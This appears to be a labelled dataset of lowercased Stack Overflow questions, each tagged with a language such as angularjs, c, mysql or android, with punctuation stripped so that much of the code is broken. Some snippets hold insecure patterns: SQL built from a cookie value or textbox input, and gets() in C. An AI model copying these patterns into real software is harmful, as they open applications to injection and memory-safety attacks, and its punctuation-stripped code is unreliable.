dynamic ng-repeat with dynamic array  i m trying to populate an array then use ng-repeat to display the information inside of it.the problem is that the data being shown is based off of what is currently written to the input fields inside of <code>&lt;div class=cardnew&gt;</code>. in fact  after some console logging i ve found that every single object inside of the array is exactly the same as what is being typed into those input fields. here is the html:   <pre><code>&lt;div class= cardfirstcontainer &gt;     &lt;div class= cardnew &gt;         &lt;input type= number  class= cardnumber  ng-model= card.number  name= numberinput &gt;         &lt;input type= input  class= cardepic  ng-model= card.epic  name= epicinput &gt;         &lt;input type= input  class= cardname  ng-model= card.name  name= cardinput &gt;         &lt;input type= number  class= form-control  ng-model= card.points  name= pointinput &gt;     &lt;/div&gt;     &lt;div class= cardcontrolscontainer &gt;         &lt;input type= buton  value= add  ng-click= addcard()  &gt;         &lt;input type= buton  value= finish  ng-click= finish()  &gt;         &lt;input type= buton  value= finish  ng-click= test()  &gt;     &lt;/div&gt; &lt;/div&gt;  &lt;div ng-repeat= x in cardlist track by $index  class= cardlistcontainer &gt;     &lt;div class= cardcreated &gt;         &lt;div class= cardnumber &gt;{{ x.number }}&lt;/div&gt;         &lt;div class= cardepic &gt;{{ x.epic }}&lt;/div&gt;         &lt;div class= cardname &gt;{{ x.name }}&lt;/div&gt;         &lt;div class= cardpoints &gt;{{ x.points }}&lt;/div&gt;     &lt;/div&gt;     &lt;div class= cardcontrols &gt;         &lt;input type= button  value= delete  ng-click= delete( card )  &gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   and the controller:   <pre><code>mainapp.controller( maincontroller   function($scope  pagebean) {     $scope.title =   ;     $scope.card = {         number:             epic:             name:             points: 1     };     $scope.cardlist = [];     $scope.addcard = function(){         $scope.cardlist.unshift($scope.card);         pagebean.setcardlist(cardlist);         $scope.card.number =   ;         $scope.card.epic =   ;         $scope.card.name =   ;         $scope.card.points = 1;         console.log($scope.cardlist);     };      $scope.delete = function(card){         var index = $scope.cardlist.indexof(card);         $scope.cardlist.splice(index  1);         console.log($scope.cardlist);     };      $scope.finish = function(){         window.location.href =  #cardprint ;     };      $scope.test = function(){         console.log($scope.cardlist);     }; }); </code></pre>   i want the array content to remain static until i call the add() or delete() functions. i know i m looking at this the wrong way  but i m stumped. could anyone point me in the right direction or let me know what i m doing wrong,angularjs
void insert/list not working - c  when i insert 2 or more persons in the program  when i try to list the results  i only get the name of the second person i inserted.    i would like to insert as many persons as possible  and list all the namoes and properties .. then i would like to do the average age for the house i m serching.    this is my insert/list code :    <pre><code>void inserir() {   file *fcasa; //apontador para ficheiro   fcasa = fopen(nomeficheiro   rb+ );   if (fcasa == 0) {     fcasa = fopen(nomeficheiro   wb );     fclose(fcasa);     fcasa = fopen(nomeficheiro   rb+ );   }   //ficheiro aberto e pronto para ler/escrever    struct defcasa casa;   int c = 0;   int c1 = 0;   printf( \nnumero da porta: );   scanf( %d  &amp;casa.numeroporta);   printf( numero de pessoas: );   scanf( %d  &amp;casa.numeropessoas);   c = casa.numeropessoas;   while (c1 != c) {     c1++;     printf( nome da %da pessoa:   c1);     scanf( %s  casa.nomepessoas);     printf( idade da pessoa: );     scanf( %d  casa.idade);    }   printf( contacto da casa: );   scanf( %d  &amp;casa.numtlm);    casa.estado = 1;   fseek(fcasa  0  seek_end);   fwrite(&amp;casa  1  sizeof(struct defcasa)  fcasa);   fclose(fcasa); }   void listar () {   int c = 0;   int c1 = 0;   int nrregistos = 0;   int acumuladopessoas = 0;   file *fler;   fler = fopen(nomeficheiro   rb+ );   if (fler != 0) {     struct defcasa armazena;     fseek(fler  0 seek_set);     while (fread(&amp;armazena  1  sizeof (struct defcasa)  fler) != 0) {       if (armazena.estado == 1) {         printf( na casa %d moram %d pessoas\n   armazena.numeroporta armazena.numeropessoas);         c = armazena.numeropessoas;         c1 = 0;         while (c1 != c) {           c1++;           printf( constituintes da familia: %s\n  armazena.nomepessoas);         }         printf( contactos:%d  armazena.numtlm);         nrregistos++;         acumuladopessoas += armazena.maximonumeropessoas;       }     }      fclose(fler);     if (nrregistos &gt; 0) {       printf( \na media de idades e: %f\n   (float)acumuladopessoas/nrregistos);     }   } } </code></pre>,c
how to get last week of month from calendar in java  how to get last week of month from calendar in java,java
access table name in subquery trough main query  there is a table <code>questions</code> has a column <code>service_table</code> containing another table name in the database.<br> i need to access this table name in a subquery:   <pre><code>select * from `questions` as `q`   where exists   (select *   from   `q`.`service_table` as `ent1`   where ent1.user_id = q.user_id)  </code></pre>   running this query result in an error :    <blockquote>    <em>table q.service_table does not exist</em>  </blockquote>   question table schema :   <pre><code>id       user_id  service_type    service_id    title   description   ------  -------  --------------  ------------  ------  -----------    1       83       translates         1           nana   hi there       </code></pre>   <code>translates</code> table (one of question related services) schema :   <pre><code>  id      user_id  context  ------  -------  --------------     1       83          something                        </code></pre>,mysql
change model property from view in angular  i am working in the mean stack  where i have an article schema defined in mongoose. one of the attributes is  approved  which i m using to let admins approve a certain article from the admin dashboard.    i d like to modify the approved property using a button from the browser. i have the following code:    controller:   <pre><code>vm.approvearticle = function (id) {     if (confirm( you are about to publish this article! )) {         vm.articledata.approved = true;     } }; </code></pre>   view:   <pre><code>&lt;td&gt;   &lt;a href= #  class= btn btn-success disabled  ng-show= article.approved &gt;approved&lt;/a&gt;   &lt;a href= #  class= btn btn-info  ng-click= article.approvearticle(art._id)  ng-show= !article.approved &gt;approve&lt;/a&gt; &lt;/td&gt; </code></pre>   currently i m getting a <code>typeerror: cannot set property  approved  of undefined</code> error  which proves i m probably doing something wrong.    how can i change the approved property from the view,angularjs
insert new history rows based on results from update query  i d like to    <pre><code>update table set column = 1 where column = 0;  insert (rows i just updated) into history_table; </code></pre>   can i somehow store the ids from a select query  and then use those to update and subsequently insert rows matching those ids into the history table,mysql
use of pointer while using strstr function in c programming  i have this following program   <pre><code>#include &lt;stdio.h&gt; #include &lt;conio.h&gt; #include &lt;string.h&gt; void main() { char line1[30] line2[30] *chp; puts( enter line1: ); gets(line1); puts( enter line2 ); gets(line2); chp=strstr(line1 line2); if(chp) printf( %s string is present in given string  line2); else printf( %s string is not present in given string  line2); getche(); } </code></pre>   i know chp is a pointer in this program   i doubt chp will store one memory location   but how the memory location of string (line2) is stored in chp pointer   please programmers help me to understand this program.,c
how do you convert an argument passed to performselector:withobject: back from type id   i want to pass an nsinteger argument to a method called using performselector:withobject:afterdelay  so i have this code:   <pre><code>   id arg = [nsnumber numberwithint:myidentifier];     [self performselector:@selector(mymethod:) withobject:arg afterdelay:kduration];       - (void) mymethod: (id) identifier     {     ...     } </code></pre>   within mymethod:  how do i convert the identifier from an id to an nsinteger     i ve seen this previous question: <a href= https://stackoverflow.com/questions/2716143/sel-performselector-and-arguments >sel performselector and arguments</a>    but i don t understand mymethodfornumber: - how is that used to unbox the number,objective-c
two handles to same variable in c  is there any way i can create two variables that point to the same memory location  so that i can read same memory as int  float  char  any way i like     i want something like this  only without pointer to f  so that i do not have to dereference every time i read/write to f.   <pre><code>char myarray[100]; float* f = (float *)&amp;myarray[10]; </code></pre>   i want to closest thing to c++ s reference in c.    i hope the question makes sense.    edit: i read stream (4 kb worth) of bytes from flash memory. this stream contains shorts  ints and floats. i know the locations of these ints and floats in the array. and i want to read/write the aforementioned ints and floats like they are ordinary variables.,c
tesseract is not recognising alphabets correctly in ios  i have to recognize the alphabets drawn on the screen. for this i am taking the image of the alphabet drawn on the screen and passing it to tesseract. it s giving only 20% of results correctly. it s not recognizing all the characters correctly. how to train the tesseract to recognize the characters drawn on the screen correctly in ios     thanks,ios
how do i style my tree menu s options   here is an example on jsfiddle: <a href= http://jsfiddle.net/v6kul/  rel= nofollow >http://jsfiddle.net/v6kul/</a>    how do i change category1  category2  category3 to other colors     html:   <pre><code>&lt;ul&gt;    &lt;li&gt;       &lt;a href= /category/category1 &gt;category 1&lt;/a&gt;       &lt;ul class= children &gt;          &lt;a href= /category/  &gt;             &lt;li&gt;          &lt;a href= /category/category1a &gt;category 1 a&lt;/a&gt;          &lt;/li&gt;          &lt;/a&gt;       &lt;/ul&gt;    &lt;/li&gt;    &lt;li&gt;       &lt;a href= /category/category2 &gt;category 2&lt;/a&gt;    &lt;/li&gt;    &lt;li&gt;       &lt;a href= /category/category3 &gt;category 3&lt;/a&gt;       &lt;ul class= children &gt;          &lt;a href= /category/  &gt;             &lt;li&gt;          &lt;a href= /category/category3a &gt;category 3 a&lt;/a&gt;          &lt;/li&gt;          &lt;li&gt;             &lt;a href= /category/category3b &gt;category 3 b&lt;/a&gt;          &lt;/li&gt;          &lt;/a&gt;       &lt;/ul&gt;    &lt;/li&gt; &lt;/ul&gt; </code></pre>   my attempt is on the jsfiddle linked above.,css
jquery loading effect (remove and show results)  i m trying to create a  loading effect  with jquery and a simple gif image. when the user checks an option from a checkbox or a dropdown menu  it displays the gif image and then it disappears.    the problem is that the results are showing at the same time as the gif and i would like to show it when the gif disappears. i m doing something wrong  but i haven t got a clue where i have to add the code.    url: <a href= http://bdebeauty.es/index.php option=com_jumi&amp;view=application&amp;fileid=14&amp;itemid=258  rel= nofollow >http://bdebeauty.es/index.php option=com_jumi&amp;view=application&amp;fileid=14&amp;itemid=258</a>    jquery script:   <pre><code>&lt;script&gt;    function maketable(data){    var tbl_body =   ;       $.each(data  function() {         var tbl_row =   ;         $.each(this  function(k v)         {             tbl_row +=  &lt;td&gt; +v+ &lt;/td&gt; ;         })         tbl_body +=  &lt;tr&gt; +tbl_row+ &lt;/tr&gt; ;                })      return tbl_body;   }    function getemployeefilteroptions(){     var opts = [];     $checkboxes.each(function(){       if(this.checked){         opts.push(this.name);       }     });      return opts;   }    function updateemployees(opts){     $.ajax({       type:  post         url:  submit.php         datatype :  json         cache: false        data: {filteropts: opts}        success: function(records){          $( #employees tbody ).html(maketable(records));       // here  after the content is inside dom/visible we activate the plugin       }     });   }    $(document).ajaxstart(function(){         $( #loading ).fadein( slow );     }).ajaxstop(function(){         $( #loading ).fadeout( slow );     });    $( document ).ready(function() {     updateemployees();    });  &lt;/script&gt; </code></pre>   thanks in advance.,jquery
joining two tables using column which has duplicate values  master -lookup tables  i have a table (x) which has 9 million rows and one of its columns is cosub which has repeating duplicate values  there is another table (y) which has related details for cosub  it has 59k rows and additional columns that provide details related to cosub (acting as lookup table) how can i join the two tables  querying 9 million rows and selecting from table (y) additional details of cosub. example:   <pre>table x      table y  id cosub    cosub div   1   a        b     6 2   b        a     5 3   c        c     7 4   a        a     5 5   b        b     6 6   c        a     5 ..................... </pre>   the result of the query should look like this (selecting all 9 million rows from table x)    1 a 5 <br/> 2 b 6 <br/> 3 c 7 <br/> 4 a 5 <br/> 5 b 6 <br/> 6 c 7,sql
php function oop array pull  currently my file structure looks like this  everything works fine. but in my home.php  i would like to be able to pull out parts of the array  for example the users image.   <pre><code>$connect-&gt;loadinformation-&gt;image  </code></pre>   how would i write this  or change my code for it to work  i really hope this make sense.     <strong>home.php</strong>   <pre><code>     $connect-&gt;loadinformation($_cookie[ steamid ]); </code></pre>   <strong>class.php</strong>   <pre><code>        public function loadinformation($steamid){          $query =  select * from user where steamid =  $steamid  ;         $results = $this-&gt;con-&gt;get_results( $query );           echo  &lt;pre&gt; ;         print_r($results);         echo  &lt;pre&gt; ;     } </code></pre>   <strong>current output</strong>   <pre><code>    array (     [0] =&gt; array         (             [id] =&gt; 10             [steamid] =&gt; 76561198026169223             [profilestate] =&gt; 0             [steam_user] =&gt; dz - lol u mad              [online] =&gt; 0             [signup] =&gt; 2014-01-05 17:28:15             [image] =&gt; http://media.steampowered.com/steamcommunity/public/images/avatars/b8/b85a568b25210a27a8413e4dc05c9f42a7cdaf22.jpg             [description] =&gt;              [active] =&gt; 0             [admin] =&gt; 0         )  ) </code></pre>,php
how to load nstableview when nib is loaded   i have an appllication in which when i click on nsbutton of one nib another nib loaded and that second nib contains an nstableview. which i need to load just after second nib loaded.    but i am not able to do so. if i put that code in awakefromnib then nstableview again get initialize. its really a mesh i m not getting...    so plz help me out.,objective-c
timepicker wrong returning of am/pm android  i have a problem displaying the correct am/pm of a calculated sleep cycle of a person. for example  the user clicks his waking time at 7:00 am  the app should return the sleeping time at 11:15 pm. in my app  it s displaying 11:15 am not pm.    can you help me with what i have tried so far:   <pre><code>private timepickerdialog.ontimesetlistener timepickerlistener =               new timepickerdialog.ontimesetlistener() {          public void ontimeset( timepicker view  int selectedhour                  int selectedminute ) {             // gets current time             calendar c = calendar.getinstance();              hour = selectedhour;             minute = selectedminute;              // set waking time into textview             stringbuilder sb = new stringbuilder();             if(hour&gt;=12){                                     sb.append(hour-12).append(  :  ).append(minute).append(  pm );             }else{               sb.append(hour).append(  :  ).append(minute).append(  am );             }             wakingtime.settext(sb);              // assign hour set in the picker             c.set( calendar.hour  selectedhour );             c.set( calendar.minute  selectedminute );              // have calendar calculate the substraction of hours and minutes             c.add( calendar.hour  sub_hour );             c.add( calendar.minute  sub_minute );              // get the hour and the minute calculated             hour = c.get( calendar.hour );             minute = c.get( calendar.minute );              stringbuilder sb2 = new stringbuilder();             if(hour&gt;=12){                                     sb2.append(hour-12).append(  :  ).append(minute).append(  pm );             }else{               sb2.append(hour).append(  :  ).append(minute).append(  am );             }             answer.settext(sb2);              // set current time into textview             //answer.settext(  you must go to bed at   + new stringbuilder().append(pad(hour))                 //  .append( : ).append(pad(minute)) );           }     }; </code></pre>   any help is truly appreciated! thanks.,android
why are console.in console.out & console.error properties read only   does anybody know why the console.in  console.out and console.error properties are read only  one would probably assume because microsoft didn t intend on having anybody change them  but the framework includes related console.setin()  console.setout() and console.seterror() methods.    was there a valid reason for this or just a silly mistake,.net
sql get differences in one column by id  it s hard for me to word what i want which is why i ve had trouble researching this issue.  what i want is to look at a table by id and see if another column changes:   <pre><code> id     name ----   ------  1      al  2      mia  1      al  2      jean </code></pre>   in the example  i don t care about <code>id 1</code> because the name always stayed as <code>al</code> but i care about <code>id 2</code> because there is a record with the name <code>mia</code> but then  that <code>id 2</code> also has a record with the name <code>jean</code>.  i was thinking of using <code>group by</code> somehow but that doesn t work.  any ideas,sql
$_server variable syntax error & fatal errors  even the most basic $_server usage causes dreamweaver to say there is a syntax error  and actually using it on a live web page ends up causing a fatal error.    i used the following code  straight from the php manual  and it causes fatal errors:   <pre><code>&lt; php echo $_server[ server_name ];  &gt; </code></pre>   i tried a variety of other similar things as well  all with the same result. i even tried assigning some variables using a constructor and the $_server variable  but it didn t matter.    is there some fundamental piece of information i m missing about how this works,php
fehlermeldung: androidruntime(20941): fatal exception: main  while i test my app  i get the follow error in the android-studio-consol: whenever i try to run my application  an error is showing up in the logcat.  <a href= https://i.stack.imgur.com/icgjo.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/icgjo.png  alt= enter image description here ></a>    this is my code in mainactivity.java but dont know whats error   <pre><code>package com.categorysms.ir.categorysms;  import android.os.bundle; import android.support.design.widget.floatingactionbutton; import android.support.design.widget.snackbar; import android.support.v7.app.appcompatactivity; import android.support.v7.widget.toolbar; import android.support.v4.app.actionbardrawertoggle; import android.support.v4.widget.drawerlayout; import android.view.view; import android.view.menu; import android.view.menuitem; import android.util.log; import android.widget.adapterview; import android.widget.listview; import android.app.activity; import android.app.fragment; import android.app.fragmentmanager; public class mainactivity extends appcompatactivity {     // declare properties     private string[] mnavigationdraweritemtitles;     private drawerlayout mdrawerlayout;     private listview mdrawerlist;      private actionbardrawertoggle mdrawertoggle;         // nav drawer title     private charsequence mdrawertitle;      // used to store app title     private charsequence mtitle;     @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);          toolbar toolbar = (toolbar) findviewbyid(r.id.toolbar);         setsupportactionbar(toolbar);         floatingactionbutton fab = (floatingactionbutton) findviewbyid(r.id.fab);         fab.setonclicklistener(new view.onclicklistener() {           @overrid           public void onclick(view view) {                 snackbar.make(view   replace with your own action   snackbar.length_long)                         .setaction( action   null).show();             }        });         // list the drawer items         objectdraweritem[] draweritem = new objectdraweritem[3];          draweritem[0] = new objectdraweritem(r.drawable.ic_action_copy   create );         draweritem[1] = new objectdraweritem(r.drawable.ic_action_refresh   read );         draweritem[2] = new objectdraweritem(r.drawable.ic_action_share   help );          // pass the folderdata to our listview adapter         draweritemcustomadapter adapter = new draweritemcustomadapter(this  r.layout.listview_item_row  draweritem);          // set the adapter for the list view         mdrawerlist.setadapter(adapter);          // set the item click listener         mdrawerlist.setonitemclicklistener(new draweritemclicklistener());          // for app icon control for nav drawer         mdrawerlayout = (drawerlayout) findviewbyid(r.id.drawer_layout);         mdrawertoggle = new actionbardrawertoggle(                 this                   /* host activity */                 mdrawerlayout          /* drawerlayout object */                 r.drawable.ic_drawer   /* nav drawer icon to replace  up  caret */                 r.string.drawer_open   /*  open drawer  description */                 r.string.drawer_close  /*  close drawer  description */         ) {              /** called when a drawer has settled in a completely closed state. */             public void ondrawerclosed(view view) {                 super.ondrawerclosed(view);                 getactionbar().settitle(mtitle);             }              /** called when a drawer has settled in a completely open state. */             public void ondraweropened(view drawerview) {                 super.ondraweropened(drawerview);                 getactionbar().settitle(mdrawertitle);             }         };          // set the drawer toggle as the drawerlistener         mdrawerlayout.setdrawerlistener(mdrawertoggle);          // enable actionbar app icon to behave as action to toggle nav drawer         getactionbar().setdisplayhomeasupenabled(true);         getactionbar().sethomebuttonenabled(true);            if (savedinstancestate == null) {             // on first time display view for first nav item             selectitem(0);         }     }      @override     public boolean oncreateoptionsmenu(menu menu) {         // inflate the menu; this adds items to the action bar if it is present.         getmenuinflater().inflate(r.menu.menu_main  menu);         return true;     }      @override     public boolean onoptionsitemselected(menuitem item) {         // handle action bar item clicks here. the action bar will         // automatically handle clicks on the home/up button  so long         // as you specify a parent activity in androidmanifest.xml.         int id = item.getitemid();          //noinspection simplifiableifstatement         if (id == r.id.action_settings) {             return true;         }          return super.onoptionsitemselected(item);     }      // navigation drawer click listener     private class draweritemclicklistener implements listview.onitemclicklistener {          @override         public void onitemclick(adapterview&lt; &gt; parent  view view  int position  long id) {             selectitem(position);         }      }      private void selectitem(int position) {          // update the main content by replacing fragments          fragment fragment = null;          switch (position) {             case 0:                 fragment = new createfragment();                 break;             case 1:                 fragment = new readfragment();                 break;             case 2:                 fragment = new helpfragment();                 break;              default:                 break;         }          if (fragment != null) {             fragmentmanager fragmentmanager = getfragmentmanager();             fragmentmanager.begintransaction().replace(r.id.content_frame  fragment).commit();              // update selected item and title  then close the drawer             mdrawerlist.setitemchecked(position  true);             mdrawerlist.setselection(position);             settitle(mnavigationdraweritemtitles[position]);             mdrawerlayout.closedrawer(mdrawerlist);          } else {             // error in creating fragment             log.e( mainactivity    error in creating fragment );         }     }     // to change up caret     @override     protected void onpostcreate(bundle savedinstancestate) {         super.onpostcreate(savedinstancestate);         // sync the toggle state after onrestoreinstancestate has occurred.         mdrawertoggle.syncstate();     }     @override     public void settitle(charsequence title) {         mtitle = title;         getactionbar().settitle(mtitle);     } } </code></pre>,android
python speed testing -- why does an except failure cost so much time  i assumed a try / except workflow would be faster than an if / then workflow for the simple action  try to remove x from list_l . in the below example  the except failures (x not in list_l) cost more times than permission requests (if x is in list_l) even though there chance of an exception is 16.6% of the time. why     here are the tests i coded and their results:   <pre><code>import random  time  timeit  class timer(object):     def __enter__(self):         self.start = time.time()         return self      def __exit__(self  *args):         self.end = time.time()         self.secs = self.end - self.start         self.msecs = self.secs * 1000  # millisecs  def a_function():     a_list = list(xrange(10))     choice_list = list(xrange(12))     choice = random.choice(choice_list)     try:         a_list.remove(choice)      except valueerror:         pass  def b_function():     a_list = list(xrange(10))     choice_list = list(xrange(12))     choice = random.choice(choice_list)     if choice in a_list:         a_list.remove(choice)  with timer() as a:     print( test_a   timeit.timeit( a_function()   number=10000  setup= from __main__ import a_function ))  with timer() as b:     print( test_b   timeit.timeit( b_function()   number=10000  setup= from __main__ import b_function )) </code></pre>   the results:    <code>1st attempt: ( test_a   0.029724836349487305)( test_b   0.027068138122558594)</code>    <code>2nd attempt: ( test_a   0.02960801124572754)( test_b   0.026785850524902344)</code>    <code>3rd attempt: ( test_a   0.029654979705810547)( test_b   0.02665996551513672)</code>    also  if i increase the choice_list range to 20  the difference widens because exceptions occur more frequently. if python is strongly ask-forgiveness-not-permission  why does failure seem to cost some much in terms of time,python
create trigger using variable from table  i m relatively new to triggers in mysql  so sorry if this is a pretty basic thing i m trying to do. i ve found how to set one up allowing a static update  however i haven t seen anything about how to use one of the fields from the inital update as a variable inside the trigger statement    example:    table 1  <code>items</code>:   <pre><code>id | name | total_stock 1 | item | 8 2 | item2 | 0 </code></pre>   table 2  <code>item_options</code>:   <pre><code>id | item_id | option | stock 1 | 1 | test | 5 2 | 1 | test2 | 3 3 | 2 | test | 0 </code></pre>   if i then update <code>item_options</code>:   <pre><code>update `item_options` set `stock`=7 where `id`=1 </code></pre>   or insert a new item into <code>item_options</code>:   <pre><code>insert into `item_options` (`item_id` `option` `stock`) values ( 2   add   2 ) </code></pre>   then i d like (if it s possible) to use a trigger to update the <code>total_stock</code> in the <code>items</code> table with the sum of <code>stock</code> in the <code>item_options</code> table with the same corresponding <code>item_id</code>.    so  i guess my question is in two parts:   <ol> <li>is this possible </li> <li>can someone point me in the right direction of how to do this </li> </ol>,mysql
pass data with a slash in it in angularjs  when clicking on a link  i can pass data to another page:   <pre><code>&lt;div ng-repeat= app in apps | filter:{name: searchtext}  class= slide &gt;     &lt;a href= #/app/{{app.name}} &gt;{{app.name}} {{app.version}}&lt;/a&gt; &lt;/div&gt; </code></pre>   when the new page comes up  i see the app s name:    <img src= https://i.stack.imgur.com/x6nc8.png  alt= enter image description here >    this is the markup to display the name:   <pre><code>&lt;p&gt;{{appname}}&lt;/p&gt; </code></pre>   however  if i want to pass the id  like this:   <pre><code>&lt;div ng-repeat= app in apps | filter:{name: searchtext}  class= slide &gt;     &lt;a href= #/app/{{app.id}} &gt;{{app.name}} {{app.version}}&lt;/a&gt; &lt;/div&gt; </code></pre>   that doesn t work. when i click on the id  nothing happens in the browser. there is no error in the f12 tools console window. and fiddler shows no activity. i think it s because the id has a slash in it (this is a ravendb convention). this is what i see when i hover over the link:    <img src= https://i.stack.imgur.com/5bpze.png  alt= enter image description here >    notice the last slash. i think that s messing things up.    so i tried a <a href= https://stackoverflow.com/a/14512986/279516 >stackoverflow solution</a> to escape the slash. now when i hover  i see this:    <img src= https://i.stack.imgur.com/okvic.png  alt= enter image description here >    i thought that would have done it  but i m back to the same behavior: nothing happens when i click on it. nothing in fiddler either. what am i missing  (if i change the markup to pass the name property again  things work. so the wiring is good.)    <strong>edit</strong>    i just realized that it s not that <em>nothing</em> is happening. my route provider is kicking in and taking me back to the same page that i m already on:   <pre><code>$routeprovider.otherwise({ redirectto:  /apps  }); </code></pre>   and this is the entire routing config:   <pre><code>app.config([ $routeprovider   function($routeprovider) {     $routeprovider.when( /apps   { templateurl:  partials/apps.html   controller:  appscontroller  });     $routeprovider.when( /servers   { templateurl:  partials/servers.html   controller:  serverscontroller  });     $routeprovider.when( /app/:appid    { templateurl:  partials/app.html   controller:  appcontroller  });     $routeprovider.otherwise({ redirectto:  /apps  }); }]); </code></pre>   <strong>workaround</strong>    setting a route like this allows me to hit the right page. the only issue is that i need to prefix the number part of the id (on the receiving page) with the literal  applications/ . i guess i can do that.   <pre><code>$routeprovider.when( /app/applications/:appid    { templateurl:  partials/app.html   controller:  appcontroller  }); </code></pre>   for completeness  this is what i had to do in the receiving controller:   <pre><code>.controller( appcontroller   function ($scope  $routeparams) {        $scope.appid =  applications/  + $routeparams.appid; }) </code></pre>,angularjs
i am passing the correct tokenid to verifier but it is giving the null as output  <pre><code>httptransport transport = googlenethttptransport.newtrustedtransport();         jsonfactory jsonfactory = jacksonfactory.getdefaultinstance();         googleidtokenverifier verifier = new googleidtokenverifier.builder(transport  jsonfactory )         .setaudience(arrays.aslist( client_id ))           .setissuer( https://accounts.google.com )         .build();          googleidtoken idtoken = verifier.verify(tokenid);         logger.info( id token: +idtoken);         if (idtoken != null) {           payload payload = idtoken.getpayload();            // print user identifier           string userid = payload.getsubject();          logger.info( user id:   + userid);            // get profile information from payload           string email = payload.getemail();           boolean emailverified = boolean.valueof(payload.getemailverified());           string name = (string) payload.get( name );           string pictureurl = (string) payload.get( picture );           string locale = (string) payload.get( locale );           string familyname = (string) payload.get( family_name );           string givenname = (string) payload.get( given_name );              logger.info(email+ : +name+ : +pictureurl+ : +familyname+ : +givenname);           // use or store profile information           // ...          } else {           system.out.println( invalid id token. ); </code></pre>,java
ios startmonitoringforregion didn t work in sleep mode (black screen)  i am trying to write an app in ios for the iphone 4 using startmonitoringforregion that fires a local notification each time the location delegate receives a location update.    as long as the phone is awake (the screen is lit up)  the application works well  firing the notifications  but when i put the phone to sleep (the screen is black)  i no longer receive notifications until i wake the phone up by pressing the home button    i m tried to add  required background modes  -  app registers for location updates  key in info.plist but it s make no sense...    cllocationmanager delegate is setted up as appdelegate.    what do i need to do in order for location updates to register even when the device is asleep  thanks in advance.,ios
error when calling a markov chain  i m working on a project that calls a markov chain module. i ve scraped data and composed a basic text generating file  but keep getting an error that i don t understand. my code looks like:   <pre><code>from markov_python.cc_markov import markovchain  mc = markovchain() mc.add_file( c:\eclipseworkspaces\csse120\markov_chain\src\lyrics.txt ) mc.add_string( shape )  print mc.generate_text(10)  </code></pre>   the error i get is:   <pre><code>traceback (most recent call last):   file  c:\eclipseworkspaces\csse120\markov_chain\src\run.py   line 14  in &lt;module&gt;     print mc.generate_text(10)    file  c:\eclipseworkspaces\csse120\markov_chain\src\markov_python\cc_markov.py   line 61  in generate_text     idx = random.randint(0  len(self.lookup_dict)-1)   file  c:\python27\lib\random.py   line 244  in randint     return self.randrange(a  b+1)   file  c:\python27\lib\random.py   line 220  in randrange     raise valueerror   empty range for randrange() (%d %d  %d)  % (istart  istop  width) valueerror: empty range for randrange() (0 0  0) </code></pre>   and here is the code it is calling back to:   <pre><code>def generate_text(self  max_length=20):     context = deque()     output = []     if len(self.lookup_dict) &gt; 0:         self.__seed_me(rand_seed=len(self.lookup_dict))      idx = random.randint(0  len(self.lookup_dict)-1)     chain_head = list(self.lookup_dict.keys()[idx])     context.extend(chain_head) </code></pre>   not sure what to do. please advise.,python
is a temporary value created in this code   consider the following code:   <pre><code>class b;  class a {   public:     a() {}     a(b &amp;b); };  class b {};  a::a(b &amp;b) {}  int main() {     b b;      const a &amp;refa = b;// does this line create a temporary value       return 0; } </code></pre>   my question is: does the code <code>const a &amp;refa = b;</code> create a temporary value or not,c++
when i write name id to show option from db exception thrown:  system.invalidoperationexception  in system.data.dll <pre><code>            sqlconnection tr = new sqlconnection( data source =mr-ghost\\sqlexpress ; database =trdatabase; integrated security= true; );             sqlcommand cmd; // بمكننا من تعدبل على الداتا حذف اضاقة تعديل من خلال برنامج              sqldatareader red;              private void button5_click(object sender  eventargs e)             {              try               {                cmd = new sqlcommand( select title   author   publish_date  pages from books_tables where id=  +textbox1+    tr);               // select هو الاستعلام الخاص ب البحث               tr.open();               red = cmd.executereader();    //نربط داتا ريدر ب سمد لتنفيد الكوموند               red.read();    // نفوم ب عملبة القراءة               texttitle.text = red[ title ].tostring();               textauthor.text = red[ author ].tostring();               textdate.text = red[ publish_date ].tostring();               textpages.text = red[ pages ].tostring();              }              catch(sqlexception pro)              {                 messagebox.show(pro.message  error  messageboxbuttons.ok messageboxicon.error);              }              finally              {                 tr.close();                 red.close();              } </code></pre>,c#
how to check rails compilation before deployment  i encounter sometimes a broken code that if i run rails c/s locally it doesn t break. only after deployment (rails_env = production) it will break on rails server loading...    before deployment i do rails_env=production rails s to see if it breaks or not.    is there a way to test this differently     thanks,ruby-on-rails
onchange method of contentobserver not called when sms message is read on android  i was looking quite a bit on the forums for determining how many sms messages i have that were not read. the code below seems to work good for received messages  but once i actually read the message the onchange of the contentobserver is not being called. so  on incoming sms message the onchange is getting called and i get the correct number  but after reading the message <strong>it is not being called</strong>. the device is samsung note running android 2.3.6 not rooted. any help will be appreciated.   <pre><code>public class unreadsmscontentobserver extends contentobserver {     private static final string mytag= phoneinfosms ;     private static final uri sms_inbox = uri.parse( content://sms/inbox );      private contentresolver mcontentresolver;     private handler mhandler;     public int unreadsms;     private static final string tag =  phoneinfosms ;      public unreadsmscontentobserver(contentresolver cr  handler h) {         super(null);         mcontentresolver = cr;         mhandler = h;     }      public int getunreadsms() {         if (mcontentresolver != null) {             try {                 cursor c = mcontentresolver.query(sms_inbox  null   read = 0   null  null);                 if (c != null) {                     unreadsms = c.getcount();                      c.deactivate();                     log.d(tag  unreadsms +   unread sms messages );                     }                 }             catch (exception ex) {                 log.e( error:   + ex.tostring()    );             }         }         return unreadsms;     }      @override     public void onchange(boolean selfchange) {         log.d(mytag   onchange );         if (mcontentresolver != null) {             getunreadsms();             mhandler.obtainmessage(phoneinfoserver.contento_infochanged  phoneinfoserver.contento_us  unreadsms).sendtotarget();             log.d(mytag   done );         }     } } </code></pre>   in the manifest file i have the following permissions:   <pre><code> android.permission.read_contacts   android.permission.read_sms   android.permission.get_accounts   android.permission.battery_stats   android.permission.bluetooth   android.permission.bluetooth_admin   android.permission.broadcast_sms   android.permission.receive_sms   android.permission.broadcast_sms   android.permission.receive_mms  </code></pre>   the way i set it up on the calling service is: in the oncreate of the service i do:   <pre><code>mcontentresolver = this.getcontentresolver(); munreadsmscontentobserver = new unreadsmscontentobserver(mcontentresolver  mcontentobservershandler); </code></pre>   in the onstartcommand of the service i do:   <pre><code>mcontentresolver.registercontentobserver(uri.parse( content://sms/ )  true  munreadsmscontentobserver);                mcontentresolver.registercontentobserver(uri.parse( content://sms/inbox/ )  true  munreadsmscontentobserver); </code></pre>   i tried only the content://sms/ and only content://sms/inbox/ and both... did not solve the problem.    p.s. similar method for the missed calls works perfect!    the application+service is sending over bluetooth the battery data  missed 